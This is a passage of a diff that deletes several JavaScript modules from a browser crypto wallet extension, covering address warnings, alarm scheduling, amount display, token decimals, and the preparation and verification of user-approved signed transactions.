* @param {object} provider - An ethers.js provider instance.
* @param {object} [options] - Optional context.
* @param {string} [options.fromAddress] - Sender address (for self-send check).
* @returns {Promise<Array<{type: string, message: string, severity: string}>>}
*/
async function getFullWarnings(address, provider, options = {}) {
const warnings = getLocalWarnings(address, options);
let isContract = false;
try {
const code = await provider.getCode(address);
if (code && code !== "0x") {
isContract = true;
warnings.push({
type: "contract",
message:
"This address is a smart contract, not a regular wallet.",
severity: "warning",
});
}
} catch (e) {
log.errorf("contract check failed:", e.message);
}
// Skip tx count check for contracts — they may legitimately have
// zero inbound EOA transactions.
if (!isContract) {
try {
const txCount = await provider.getTransactionCount(address);
if (txCount === 0) {
warnings.push({
type: "new-address",
message:
"This address has never sent a transaction. Double-check it is correct.",
severity: "info",
});
}
} catch (e) {
log.errorf("tx count check failed:", e.message);
}
}
// Etherscan label check (best-effort async — network failures are silent).
// Runs for ALL addresses including contracts, since many dangerous
// flagged addresses on Etherscan (drainers, phishing contracts) are contracts.
try {
const etherscanWarning = await checkEtherscanLabel(address);
if (etherscanWarning) {
warnings.push(etherscanWarning);
}
} catch (e) {
log.errorf("etherscan label check failed:", e.message);
}
return warnings;
}
module.exports = { getLocalWarnings, getFullWarnings };

View File

@@ -1,134 +0,0 @@
// Periodic scheduling for the background context.
//
// The Chrome MV3 service worker is terminated after roughly 30 seconds idle,
// which takes every setInterval/setTimeout with it. The extension alarms API
// is the mechanism that survives: the browser holds the schedule and wakes
// the worker to deliver onAlarm. Firefox MV2 runs a persistent background
// page where timers would survive, but alarms behave identically there, so
// both targets share this path and both manifests declare the "alarms"
// permission.
//
// Periods are whole minutes at or above the browser-enforced one-minute
// minimum, so nothing here is silently clamped to a slower cadence.
//
// Trap for anyone changing a period: each job also carries a freshness guard
// that can veto its own scheduled tick. A guard timed to the alarm period
// halves the real cadence, because the guard is measured from when the last
// run finished and the alarm fires one run-duration earlier than that. Every
// guard must therefore either be strictly shorter than the period it gates or
// be bypassed on the scheduled tick — see backgroundRefresh() in
// src/background/index.js.
const { alarmsApi } = require("./browserApi");
const BALANCE_REFRESH_ALARM = "autistmask-balance-refresh";
// Alarms this extension used to create and no longer has a handler for. A
// browser keeps an alarm until something clears it, so a job that is deleted
// from the code goes on waking the service worker on its old schedule forever,
// on every install that ever ran the version which created it. Removing the job
// means removing the alarm, so retired names are listed here and cleared on
// every start until the installs that carry them are long gone.
const OBSOLETE_ALARMS = [
// The 24-hour phishing blocklist refresh, retired when the runtime fetch
// was removed and the list became purely build-time vendored.
"autistmask-phishing-refresh",
];
const MIN_ALARM_PERIOD_MINUTES = 1;
const BALANCE_REFRESH_PERIOD_MINUTES = 1;
// alarmsApi() resolves on use rather than at module load: the worker is torn
// down and re-evaluated repeatedly, and tests install a stub after requiring
// this module. It returns null where the API is absent, which is why every
// entry point below degrades instead of throwing.
/**
* Create an alarm unless one with the requested period already exists.
*
* The existence check is load-bearing: creating an alarm resets its schedule,
* and this runs on every worker wake. Creating unconditionally would push the
* next fire time out on every incoming message, so a busy extension would
* never see the alarm fire at all.
*
* The period comparison is equally load-bearing in the other direction: an
* alarm created by an older version keeps its old period forever unless a
* changed constant re-creates it, so a period edit would never reach an
* existing install. Re-creating on a period change happens once and then
* settles into the existence check above.
*
* @param {string} name
* @param {number} periodInMinutes
* @returns {Promise<boolean>} true if the alarm was created by this call.
*/
async function ensureAlarm(name, periodInMinutes) {
const api = alarmsApi();
if (!api) return false;
const period = Math.max(periodInMinutes, MIN_ALARM_PERIOD_MINUTES);
const existing = await api.get(name);
if (existing && existing.periodInMinutes === period) return false;
api.create(name, {
periodInMinutes: period,
delayInMinutes: period,
});
return true;
}
/**
* Clear every alarm this extension no longer handles.
*
* @returns {Promise<string[]>} the retired alarms this call actually cleared.
*/
async function clearObsoleteAlarms() {
const api = alarmsApi();
if (!api || !api.clear) return [];
const cleared = [];
for (const name of OBSOLETE_ALARMS) {
if (await api.clear(name)) cleared.push(name);
}
return cleared;
}
/**
* Ensure the recurring background jobs are scheduled, and that retired ones are
* not. Safe to call on every worker start, on onInstalled and on onStartup.
*
* @returns {Promise<{balance: boolean, cleared: string[]}>} which alarms this
* call had to create, and which retired ones it removed.
*/
async function ensureRecurringAlarms() {
const balance = await ensureAlarm(
BALANCE_REFRESH_ALARM,
BALANCE_REFRESH_PERIOD_MINUTES,
);
const cleared = await clearObsoleteAlarms();
return { balance, cleared };
}
/**
* Register per-alarm handlers. One listener dispatches by alarm name so the
* worker only ever installs a single onAlarm listener.
*
* @param {Object<string, function>} handlers
* @returns {boolean} true if the listener was installed.
*/
function registerAlarmHandlers(handlers) {
const api = alarmsApi();
if (!api || !api.onAlarm) return false;
api.onAlarm.addListener((alarm) => {
const handler = handlers[alarm && alarm.name];
if (handler) handler();
});
return true;
}
module.exports = {
BALANCE_REFRESH_ALARM,
OBSOLETE_ALARMS,
MIN_ALARM_PERIOD_MINUTES,
BALANCE_REFRESH_PERIOD_MINUTES,
clearObsoleteAlarms,
ensureAlarm,
ensureRecurringAlarms,
registerAlarmHandlers,
};

View File

@@ -1,46 +0,0 @@
// The 4-decimal amount rule from README.md's Display Consistency section, and
// the one exception to it, in one place. Three call sites had grown their own
// copy of the truncation — the history and balance lists
// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
// two showing a different number for the same value.
//
// The two functions below are the two policies, not two implementations of
// one: summary lists truncate, and the screens that state what is being
// authorized truncate with a floor. Keeping them adjacent is the point, so a
// change to the rule cannot reach one screen and miss another.
// Truncate to exactly four decimal places. Truncation, never rounding: an
// amount must never be displayed as larger than it is, so 0.99999 stays
// 0.9999.
function truncateAmount(val) {
const parts = val.split(".");
if (parts.length === 1) return val + ".0000";
return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
}
// The same rule, plus the invariant the approval and confirmation screens
// hold: a nonzero amount never renders as zero. Truncating to four decimals
// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
// as "nothing is being moved" on the screen whose whole job is to say what is
// being authorized.
//
// When the truncated string carries no significant digit and the value does,
// the amount is extended to its first significant digit instead. It stays in
// token units, the same unit as the symbol printed beside it. A genuine zero
// still renders 0.0000, and anything at or above the floor is untouched.
function truncateAmountNeverZero(val) {
const truncated = truncateAmount(val);
// Tests the whole truncated string, integer part included: 1.00005 has a
// significant digit already and stays 1.0000.
if (/[1-9]/.test(truncated)) return truncated;
const parts = val.split(".");
if (parts.length === 1) return truncated;
const sig = parts[1].search(/[1-9]/);
if (sig === -1) return truncated;
return parts[0] + "." + parts[1].slice(0, sig + 1);
}
module.exports = { truncateAmount, truncateAmountNeverZero };

View File

@@ -1,88 +0,0 @@
// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
// to display when there is no such scale.
//
// The approval screen decodes `transfer` and `approve` calldata into a
// quantity the user confirms against. That quantity is a base-unit integer,
// and turning it into a number a person can read needs the token's decimals.
// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
// default of 18 it reads `0.0000`, and a user who reads zero signs.
//
// So a scale is either found or the amount is not formatted. Decimals are
// looked for in the bundled token list, then in the tokens the user tracks,
// then in what the block explorer reported for the contract; where none of
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
// unknown scale stated, and no formatUnits() call is reached at all.
//
// The Uniswap decoder's Amount and Min. received lines land on this same
// screen and use these same two functions, so there is one way of resolving a
// scale and one way of saying there is none.
//
// This is the display counterpart to transferAmount.js, which takes the same
// stance on the wallet's own send path: an amount whose scale is unknown or
// disputed is refused rather than guessed at.
// Solidity's decimals() is a uint8, and every source here is ultimately
// reporting that call's result. toDecimals() is that check, shared with the
// send path rather than copied: the bundled list stores numbers, the
// explorer's copy arrives as a string, and a token the user added by hand
// carries whatever lookupTokenInfo() got back, so the accepted types are
// enumerated rather than coerced.
const { toDecimals } = require("./transferAmount");
const { TOKEN_BY_ADDRESS } = require("./tokenList");
// Every decimals the explorer reported for this contract, across all the
// addresses whose balances have been fetched. They describe one contract, so
// they should agree; a set that does not agree is a scale in dispute, and this
// screen has no way to tell which member is the true one.
function explorerDecimals(lower, wallets) {
let found = null;
for (const wallet of wallets || []) {
for (const addr of wallet.addresses || []) {
for (const tb of addr.tokenBalances || []) {
if ((tb.address || "").toLowerCase() !== lower) continue;
const d = toDecimals(tb.decimals);
if (d === null) continue;
if (found !== null && found !== d) return null;
found = d;
}
}
}
return found;
}
// The decimals to render a token amount with, or null when nothing knows.
// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
function resolveTokenDecimals(tokenAddress, sources) {
const lower = (tokenAddress || "").toLowerCase();
if (!lower) return null;
const bundled = TOKEN_BY_ADDRESS.get(lower);
if (bundled) {
const d = toDecimals(bundled.decimals);
if (d !== null) return d;
}
const tracked = ((sources && sources.trackedTokens) || []).find(
(t) => (t.address || "").toLowerCase() === lower,
);
if (tracked) {
const d = toDecimals(tracked.decimals);
if (d !== null) return d;
}
return explorerDecimals(lower, sources && sources.wallets);
}
// What the amount line reads when the scale is unknown. The base units are
// exact and the caveat is part of the same string, so the number on the screen
// cannot be mistaken for a token quantity, and it can never read as zero for a
// transfer that is not zero.
function unknownDecimalsAmount(rawAmount) {
return String(rawAmount) + " base units (decimals unknown)";
}
module.exports = {
resolveTokenDecimals,
unknownDecimalsAmount,
};

View File

@@ -1,213 +0,0 @@
// Preparation of the transaction an approval screen displays.
//
// A dApp's eth_sendTransaction normally fixes only `to`, `value` and `data`.
// The nonce, the gas limit and the fees have to be filled in from the network
// before anything can be signed, and whoever fills them in decides what the
// user is shown. That work used to happen in the popup, after the user had
// already approved: the numbers on the approval screen came from the popup and
// were compared against nothing, so a compromised popup could display one fee
// and sign another, and the ceilings in approvalVerify.js were all that stood
// between the user and a fee that hands the validator the balance.
//
// So it happens here instead, in the background, before the approval window is
// opened. The background populates the transaction, shows that object, and
// verifies the signed artifact against that same object — the popup is handed
// a finished transaction and signs it as given. Every field the user reads is
// then a field that is compared.
//
// The cost is an RPC round trip before the approval window exists. Nothing is
// displayed while it is in flight, and a failure — an unreachable node, a
// reverting gas estimate, a transaction type this wallet does not sign, a fee
// past the ceilings — means no approval and no window at all: the error goes
// back to the requesting page, which is where the user's click came from. That
// is deliberate. The alternative, opening the window first and populating
// behind a spinner, needs a pending approval that exists before it can be
// displayed or signed, and a half-initialised approval is exactly the state
// the settle interlock in the background exists to keep out of that record.
// The failure also lands earlier than it used to rather than later: the same
// estimate previously failed after the user had typed their password.
const {
VoidSigner,
accessListify,
getAddress,
getBytes,
hexlify,
toQuantity,
} = require("ethers");
const {
ALLOWED_TX_TYPES,
SERIALIZED_FIELDS,
assertWithinCeilings,
} = require("./approvalVerify");
// How long the population may take before the request is failed back to the
// page. Without a bound a hung RPC endpoint leaves the dApp's promise pending
// forever with nothing on screen to explain it; ethers' own request timeout is
// minutes long, which is not a wait anyone will sit through.
const POPULATE_TIMEOUT_MS = 20000;
// The request fields taken from the page. Anything else is dropped rather than
// passed to ethers: the object is page-controlled, and a future ethers that
// learns to carry a new transaction field must not start picking one up out of
// it without this module knowing.
const REQUEST_FIELDS = [
"to",
"value",
"data",
"nonce",
"gasLimit",
"gasPrice",
"maxFeePerGas",
"maxPriorityFeePerGas",
"chainId",
"accessList",
"type",
];
class ApprovalPrepareError extends Error {
constructor(message) {
super(message);
this.name = "ApprovalPrepareError";
}
}
function fail(message) {
return new ApprovalPrepareError(message);
}
function present(v) {
return v !== null && v !== undefined && v !== "";
}
// These strings reach the user through the requesting page, so they are full
// sentences even when the tail of one came from ethers or from the node.
function sentence(text) {
return /[.!?]$/.test(text) ? text : text + ".";
}
// Reject a promise that has taken too long, and never leave the timer behind.
async function withTimeout(promise, ms, message) {
let timer = null;
try {
return await Promise.race([
promise,
new Promise((_resolve, reject) => {
timer = setTimeout(() => reject(fail(message)), ms);
}),
]);
} finally {
if (timer !== null) clearTimeout(timer);
}
}
// The page's request, reduced to the fields this wallet acts on.
function requestFrom(txParams, from) {
const request = { from: getAddress(from) };
for (const key of REQUEST_FIELDS) {
if (present(txParams[key])) request[key] = txParams[key];
}
if (
present(request.type) &&
!ALLOWED_TX_TYPES.includes(Number(request.type))
) {
throw fail(
"The site asked for a transaction of a type this wallet does not sign.",
);
}
return request;
}
// Turn a populated transaction into the object that crosses to the popup, is
// displayed, and is compared with the signed artifact. It carries exactly the
// fields its type serializes, plus the address it is to be signed by, and
// every quantity as a hex string: extension messaging is JSON, which has no
// bigint, and a field that did not survive the trip would be a field the user
// was shown and nothing compared.
function serializeApprovedTx(populated, from) {
const type = Number(populated.type);
if (!ALLOWED_TX_TYPES.includes(type)) {
throw fail(
"This transaction would have to be sent as a type this wallet does not sign.",
);
}
const approved = { type, from: getAddress(from) };
for (const key of SERIALIZED_FIELDS[type]) {
if (key === "to") {
approved.to = present(populated.to)
? getAddress(populated.to)
: null;
} else if (key === "data") {
approved.data = present(populated.data)
? hexlify(getBytes(populated.data))
: "0x";
} else if (key === "accessList") {
approved.accessList = accessListify(populated.accessList || []);
} else if (key === "value") {
approved.value = toQuantity(populated.value || 0);
} else if (!present(populated[key])) {
// Unreachable while populateTransaction() fills every quantity of
// the type it produced. If it ever does not, the approval must not
// be raised: an unfixed quantity is one the artifact cannot be
// checked against.
throw fail(
"The transaction could not be prepared: the network did not supply a " +
key +
".",
);
} else {
approved[key] = toQuantity(populated[key]);
}
}
return approved;
}
// Populate the transaction a site asked for, as the address it will be signed
// by, and return the object to display, sign and verify against. Throws with a
// full sentence when no approval can be raised.
async function prepareApprovalTx(provider, from, txParams) {
if (!present(from)) {
throw fail("There is no active address to send this transaction from.");
}
const request = requestFrom(txParams || {}, from);
let populated;
try {
// The sequence ethers' own sendTransaction() runs internally, so the
// nonce, gas, fee and chain id are populated exactly as they were when
// the popup did this. VoidSigner cannot sign, which is the point: the
// background prepares, the popup signs.
populated = await withTimeout(
new VoidSigner(getAddress(from), provider).populateTransaction(
request,
),
POPULATE_TIMEOUT_MS,
"The transaction could not be prepared: the network did not answer in time.",
);
} catch (e) {
if (e instanceof ApprovalPrepareError) throw e;
throw fail(
sentence(
"The transaction could not be prepared: " +
(e.shortMessage ||
e.message ||
"the network did not answer"),
),
);
}
const approved = serializeApprovedTx(populated, from);
// The backstop, applied before the user is shown anything rather than
// after they have approved it: what is displayed here is what gets signed,
// so an RPC node reporting an absurd fee has to be refused here.
assertWithinCeilings(approved);
return approved;
}
module.exports = {
prepareApprovalTx,
serializeApprovedTx,
ApprovalPrepareError,
POPULATE_TIMEOUT_MS,
REQUEST_FIELDS,
};

View File

@@ -1,778 +0,0 @@
// Verification of the signed artifacts produced by the approval popup.
//
// Signing happens in the popup, where the password is entered; the background
// only broadcasts the raw transaction and resolves the pending approval back
// to the requesting page. So that moving the signing out of the background
// does not turn the background into a blind relay, the background re-derives
// the signer from the artifact and checks it against the approval it is
// holding before acting on it. All recovery is delegated to ethers.
//
// What the artifact is checked against is the transaction the background
// populated and the popup displayed (see approvalTx.js), not the request the
// dApp made. The two differ in every field a dApp normally leaves out — nonce,
// gas limit, fees — and those are the fields the user reads off the approval
// screen, so comparing against the request would leave the numbers on screen
// vouched for by nothing.
//
// The check is an allowlist, in both directions, because a denylist cannot be
// correct against a transaction format that keeps gaining fields:
//
// - only transaction types 0, 1 and 2 are accepted. Every later EIP-2718 type
// adds a field with consequences of its own — EIP-7702's authorizationList
// rewrites the code at the signer's own account, EIP-4844's blob
// commitments carry a separate fee — and a check that enumerates the fields
// it refuses admits every one of them by default.
// - after the per-field comparisons, the artifact is rebuilt from those
// checked fields and nothing else, and the two are compared byte for byte.
// Anything the artifact carries that this module does not name is absent
// from the rebuild and changes the bytes, so the final assertion is that
// the artifact *is* the approved transaction, not merely that it is not one
// of the tampered shapes that were thought of.
// - every comparison runs against the decode, but the string handed to
// broadcastTransaction() is the artifact. So the artifact is also required
// to be the canonical re-encoding of its own decode, which is what makes
// the checked transaction and the broadcast bytes the same object rather
// than two things that merely decode alike.
//
// Every consequential field is compared, and a mismatch is a refusal to act,
// never a warning: what the user approved is what gets broadcast, or nothing
// does.
//
// The approved transaction is required to fix every field its type serializes,
// so there is no "the approval did not say" branch to fall through: a quantity
// the approval does not carry is a refusal, because an artifact that cannot be
// compared with what was displayed has not been checked. The chain id is
// checked against the selected network as well as against the approval, which
// is what makes a cross-chain replay impossible.
//
// Every failure message is a full sentence, because these strings are shown to
// the user and returned to the dApp.
const {
Transaction,
accessListify,
getAddress,
getBytes,
verifyMessage,
verifyTypedData,
} = require("ethers");
// The only transaction types this wallet signs: legacy, EIP-2930 and
// EIP-1559. populateTransaction() produces nothing else, so nothing else can
// be an artifact of an approval this wallet raised.
const ALLOWED_TX_TYPES = [0, 1, 2];
// The serialized fields of each allowed type, which is also the complete set
// of fields the checks below compare or bound. The artifact is rebuilt from
// exactly these at the end of verification and compared byte for byte, so a
// field outside this table cannot ride along unexamined.
const SERIALIZED_FIELDS = {
0: ["chainId", "nonce", "gasPrice", "gasLimit", "to", "value", "data"],
1: [
"chainId",
"nonce",
"gasPrice",
"gasLimit",
"to",
"value",
"data",
"accessList",
],
2: [
"chainId",
"nonce",
"maxPriorityFeePerGas",
"maxFeePerGas",
"gasLimit",
"to",
"value",
"data",
"accessList",
],
};
// Fields no allowed type may carry. The type allowlist already excludes every
// type that defines them, and the structural check at the end of verification
// would catch them anyway; they are named here so that an artifact carrying
// one is refused with a message that says what it was.
const FORBIDDEN_FIELDS = [
{
key: "authorizationList",
message:
"The signed transaction would hand the signing account over to another contract, which was not approved.",
},
{
key: "blobVersionedHashes",
message:
"The signed transaction carries blob commitments, which were not approved.",
},
{
key: "blobs",
message:
"The signed transaction carries blobs, which were not approved.",
},
{
key: "maxFeePerBlobGas",
message:
"The signed transaction carries a blob gas fee, which was not approved.",
},
];
// Absolute ceilings — a BACKSTOP, not the primary control.
//
// The primary control is equality: every field of the artifact is compared
// with the populated transaction the user was shown, so nothing the popup
// signs can differ from the screen. What equality cannot bound is the
// populated transaction itself, which is built from what the configured RPC
// node answered — a node that reports an absurd fee gets that fee displayed,
// and a user who does not read the fee line would approve it. These ceilings
// bound that, and they are therefore applied where the transaction is
// populated (approvalTx.js) as well as here.
//
// Above the block gas limit of every supported network (see networks.js), so
// no transaction that could ever be included is refused by it.
const MAX_GAS_LIMIT = 100000000n;
// 100,000 gwei per gas: orders of magnitude above the highest fee either
// supported network has produced, and low enough to catch a fee that would
// hand the validator the balance.
const MAX_FEE_PER_GAS = 100000000000000n;
// A refusal to act on an artifact: it is not the thing that was approved, so
// the approval it was offered against is spent and must not be retried. Every
// throw in this module is one of these; the background distinguishes them from
// transient failures (a busy node, a failed broadcast), which leave the
// approval standing so the user can try again.
class ApprovalMismatchError extends Error {
constructor(message) {
super(message);
this.name = "ApprovalMismatchError";
this.approvalMismatch = true;
}
}
function refuse(message) {
return new ApprovalMismatchError(message);
}
// Whether a signing failure leaves the approval usable. Anything that is not a
// mismatch is the user's to correct and retry.
function failureIsRetryable(err) {
return !(err && err.approvalMismatch === true);
}
// Case-insensitive address comparison that tolerates absent values on either
// side. Two absent addresses compare equal (contract creation has no `to`).
function sameAddress(a, b) {
const aMissing = a === null || a === undefined || a === "";
const bMissing = b === null || b === undefined || b === "";
if (aMissing || bMissing) return aMissing && bMissing;
try {
return getAddress(a) === getAddress(b);
} catch {
return String(a).toLowerCase() === String(b).toLowerCase();
}
}
// Whether the approval fixed a value for a field at all.
function present(v) {
return v !== null && v !== undefined && v !== "";
}
// Whether a field carries anything at all. An empty array is nothing: ethers
// reports an absent access list on a type 2 transaction as `[]`.
function carriesValue(v) {
if (!present(v)) return false;
if (Array.isArray(v)) return v.length > 0;
return true;
}
// Normalize a quantity that must be present, refusing anything that is not a
// number: an approval carrying junk in a fee field cannot be compared, and an
// uncomparable field is a refusal rather than a pass.
function normalizeQuantity(v, label) {
try {
return BigInt(v);
} catch {
throw refuse(
"The approved " +
label +
" is not a number, so it cannot be" +
" compared with the signed transaction.",
);
}
}
// Normalize a transaction value (hex string, decimal string, number or
// bigint) to a bigint. An absent value is zero, matching ethers. The value is
// page-controlled, so it goes through the same refusal as every other
// quantity rather than throwing a raw BigInt conversion error.
function normalizeValue(v) {
if (!present(v)) return 0n;
return normalizeQuantity(v, "value");
}
// Normalize an access list to a comparable string. An absent or empty list is
// the empty string, so absent and `[]` are the same thing.
function normalizeAccessList(v) {
if (!carriesValue(v)) return "";
let list;
try {
list = accessListify(v);
} catch {
throw refuse(
"The approved access list is not a valid access list, so it cannot be compared with the signed transaction.",
);
}
return list
.map(
(entry) =>
String(entry.address).toLowerCase() +
":" +
entry.storageKeys.map((k) => String(k).toLowerCase()).join(","),
)
.join(";");
}
// Normalize call data to a lowercase hex string. Absent data is "0x".
function normalizeData(v) {
if (v === null || v === undefined || v === "" || v === "0x") return "0x";
return String(v).toLowerCase();
}
// How each field of an approved transaction is compared with the artifact.
// There is an entry here for every field any allowed type serializes — a test
// pins that against SERIALIZED_FIELDS — so the comparison loop covers the
// whole of what gets signed and cannot silently skip a field for want of a
// comparator.
//
// `kind` decides how the two sides are made comparable. A `quantity` must be
// fixed by the approval: it is one of the numbers on the approval screen, and
// an absent one means the artifact cannot be checked against what was
// displayed. `to`, `value`, `data` and `accessList` have canonical absent
// forms — contract creation, zero, "0x" and the empty list — so they are
// normalized on both sides instead.
const APPROVED_FIELDS = {
chainId: {
kind: "quantity",
label: "network",
message:
"The signed transaction is for a different network than the one that was approved.",
},
nonce: {
kind: "quantity",
label: "nonce",
message: "The signed transaction does not carry the approved nonce.",
},
gasLimit: {
kind: "quantity",
label: "gas limit",
message:
"The signed transaction does not carry the approved gas limit.",
},
gasPrice: {
kind: "quantity",
label: "gas price",
message:
"The signed transaction does not carry the approved gas price.",
},
maxFeePerGas: {
kind: "quantity",
label: "maximum fee per gas",
message:
"The signed transaction does not carry the approved maximum fee per gas.",
},
maxPriorityFeePerGas: {
kind: "quantity",
label: "maximum priority fee per gas",
message:
"The signed transaction does not carry the approved maximum priority fee per gas.",
},
to: {
kind: "address",
label: "recipient",
message:
"The signed transaction does not go to the approved recipient.",
},
value: {
kind: "value",
label: "value",
message: "The signed transaction does not carry the approved value.",
},
data: {
kind: "data",
label: "call data",
message:
"The signed transaction does not carry the approved call data.",
},
accessList: {
kind: "accessList",
label: "access list",
message:
"The signed transaction does not carry the approved access list.",
},
};
// Compare one field of the artifact with the approved transaction. A field
// with no entry in the table above is refused rather than skipped: the loop
// below runs over the fields the type serializes, so an unmatched key means
// something that gets signed has no comparator at all.
function assertFieldMatches(key, parsed, approvedTx) {
const field = APPROVED_FIELDS[key];
if (!field) {
throw refuse(
"The signed transaction carries a field this wallet cannot compare with the approval.",
);
}
switch (field.kind) {
case "quantity": {
if (!present(approvedTx[key])) {
throw refuse(
"The approved transaction fixes no " +
field.label +
", so the signed transaction cannot be checked" +
" against what was shown.",
);
}
const approved = normalizeQuantity(approvedTx[key], field.label);
if (normalizeQuantity(parsed[key], field.label) !== approved) {
throw refuse(field.message);
}
return;
}
case "address":
if (!sameAddress(parsed[key], approvedTx[key])) {
throw refuse(field.message);
}
return;
case "value":
if (normalizeValue(parsed[key]) !== normalizeValue(approvedTx[key]))
throw refuse(field.message);
return;
case "data":
if (normalizeData(parsed[key]) !== normalizeData(approvedTx[key]))
throw refuse(field.message);
return;
default:
if (
normalizeAccessList(parsed[key]) !==
normalizeAccessList(approvedTx[key])
) {
throw refuse(field.message);
}
}
}
// The ceilings, applied to a transaction that is either about to be displayed
// or about to be broadcast. See MAX_GAS_LIMIT above for what they are for:
// they bound what the RPC node can talk this wallet into showing the user,
// which is the one thing comparing the artifact with the screen cannot do.
function assertWithinCeilings(tx) {
if (
present(tx.gasLimit) &&
normalizeQuantity(tx.gasLimit, "gas limit") > MAX_GAS_LIMIT
) {
throw refuse(
"The signed transaction sets a gas limit no network this wallet supports can accept.",
);
}
for (const key of ["gasPrice", "maxFeePerGas", "maxPriorityFeePerGas"]) {
if (!present(tx[key])) continue;
if (normalizeQuantity(tx[key], "fee per gas") > MAX_FEE_PER_GAS) {
throw refuse(
"The signed transaction sets a fee per gas far above any plausible value.",
);
}
}
}
// Refuse a field only a transaction type this wallet does not sign can carry.
// The type allowlist keeps these unreachable in production, which is exactly
// what they are for; it also means nothing else exercises them, so this is
// exported and tested on its own rather than left to be believed.
function assertNoForbiddenFields(parsed) {
for (const field of FORBIDDEN_FIELDS) {
if (carriesValue(parsed[field.key])) throw refuse(field.message);
}
}
// Closing structural check. Rebuild the transaction from the fields the
// comparisons cover, and nothing else, then compare the unsigned bytes. Every
// field carried by the artifact but absent from the rebuild changes the
// serialization, so this refuses anything this module does not account for —
// including a field a future ethers learns to parse onto an allowed type —
// instead of waving it through by not naming it. Also exported for its own
// test: nothing reachable today can make the bytes differ.
function assertNothingUnchecked(parsed) {
let rebuilt;
try {
const fields = { type: parsed.type };
for (const key of SERIALIZED_FIELDS[parsed.type]) {
fields[key] = parsed[key];
}
rebuilt = Transaction.from(fields);
} catch {
throw refuse(
"The signed transaction could not be rebuilt from the fields that were checked, so it cannot be shown to be the approved transaction.",
);
}
if (rebuilt.unsignedSerialized !== parsed.unsignedSerialized) {
throw refuse(
"The signed transaction carries data beyond the fields that were checked against the approval.",
);
}
}
// The other half of the closing check, and the one that makes it bind on the
// bytes that actually leave: every comparison above runs against the decode,
// so on its own the rebuild proves only that the transaction ethers understood
// is the approved one. What the background hands to broadcastTransaction() is
// the artifact string itself. Requiring the artifact to be exactly the
// canonical re-encoding of its own decode closes the gap between the two —
// no encoding the decoder normalizes away (a leading zero byte on an RLP
// quantity, say) can differ from what was checked. Hex case is not part of the
// encoding, so only that is normalized before comparing.
function assertCanonicalBytes(parsed, rawSignedTx) {
if (parsed.serialized !== String(rawSignedTx).toLowerCase()) {
throw refuse(
"The signed transaction is not encoded canonically, so the bytes that would be broadcast are not the bytes that were checked.",
);
}
}
// Assert that a raw signed transaction is the transaction the user approved,
// signed by the address the approval was raised for, on the network that is
// selected. Returns the parsed ethers Transaction on success, throws
// otherwise.
//
// `approvedTx` is the populated transaction the approval screen displayed, and
// `expectedFrom` is the address that was active when the approval was raised —
// not whichever address is active now. An address switch between approval and
// signing therefore refuses here rather than producing a transaction from an
// account the approval did not name.
function verifySignedTx(
rawSignedTx,
approvedTx,
expectedFrom,
selectedChainId,
) {
if (typeof rawSignedTx !== "string" || !rawSignedTx.startsWith("0x")) {
throw refuse("The signed transaction is missing or malformed.");
}
// Nothing to compare against is a refusal like any other: an approval that
// does not carry the transaction it displayed cannot vouch for one.
if (!approvedTx || typeof approvedTx !== "object") {
throw refuse(
"There is no approved transaction to check the signed transaction against.",
);
}
let parsed;
try {
parsed = Transaction.from(rawSignedTx);
} catch {
throw refuse("The signed transaction could not be decoded.");
}
if (!parsed.from) {
throw refuse("The signed transaction carries no valid signature.");
}
if (!sameAddress(parsed.from, expectedFrom)) {
throw refuse(
"The signed transaction was signed by a different address than the one that was approved.",
);
}
// Before any field is looked at: the type decides which fields exist at
// all, so an unrecognised type is refused outright rather than compared
// field by field against an approval that cannot describe it.
if (!ALLOWED_TX_TYPES.includes(parsed.type)) {
throw refuse(
"The signed transaction is of a type this wallet does not sign, so what it would do beyond the approved transfer cannot be checked.",
);
}
assertNoForbiddenFields(parsed);
// The selected network, not the artifact, is the authority on which chain
// this may be broadcast to; without it nothing can be verified.
if (!present(selectedChainId)) {
throw refuse(
"The selected network is unknown, so the signed transaction cannot be checked against it.",
);
}
if (parsed.chainId !== normalizeQuantity(selectedChainId, "network")) {
throw refuse(
"The signed transaction is for a different network than the one that is selected.",
);
}
// The approved fee mechanism, named before the type comparison below
// subsumes it: the fee the user agreed to is only meaningful under the
// mechanism it was quoted in, and saying so is more use than "a different
// transaction type".
const approvedEip1559 =
present(approvedTx.maxFeePerGas) ||
present(approvedTx.maxPriorityFeePerGas);
const approvedLegacy = present(approvedTx.gasPrice);
const signedEip1559 = parsed.type === 2;
if (
(approvedEip1559 && !signedEip1559) ||
(approvedLegacy && signedEip1559)
) {
throw refuse(
"The signed transaction does not use the approved fee mechanism.",
);
}
// The type decides which fields are compared, so it is compared first and
// against the approval, not merely checked for membership of the
// allowlist above.
if (!present(approvedTx.type)) {
throw refuse(
"The approved transaction fixes no transaction type, so the signed transaction cannot be checked against what was shown.",
);
}
if (
BigInt(parsed.type) !==
normalizeQuantity(approvedTx.type, "transaction type")
) {
throw refuse(
"The signed transaction does not use the approved transaction type.",
);
}
// Every field this type serializes, compared with the transaction the user
// was shown. Driving the loop off SERIALIZED_FIELDS is what keeps this
// exhaustive: the same table decides what assertNothingUnchecked() rebuilds
// from, so a field that gets signed and is not compared here cannot exist.
for (const key of SERIALIZED_FIELDS[parsed.type]) {
assertFieldMatches(key, parsed, approvedTx);
}
assertWithinCeilings(parsed);
assertNothingUnchecked(parsed);
assertCanonicalBytes(parsed, rawSignedTx);
return parsed;
}
// Assert that a signature over the approved message or typed data was
// produced by the address the approval was raised for. Returns the recovered
// address on success, throws otherwise.
function verifySignature(signParams, signature, expectedFrom) {
if (typeof signature !== "string" || !signature.startsWith("0x")) {
throw refuse("The signature is missing or malformed.");
}
let recovered;
try {
if (
signParams.method === "personal_sign" ||
signParams.method === "eth_sign"
) {
recovered = verifyMessage(getBytes(signParams.message), signature);
} else {
const typedData = JSON.parse(signParams.typedData);
const { domain, types, message } = typedData;
// ethers derives EIP712Domain itself and rejects it as an input.
delete types.EIP712Domain;
recovered = verifyTypedData(domain, types, message, signature);
}
} catch {
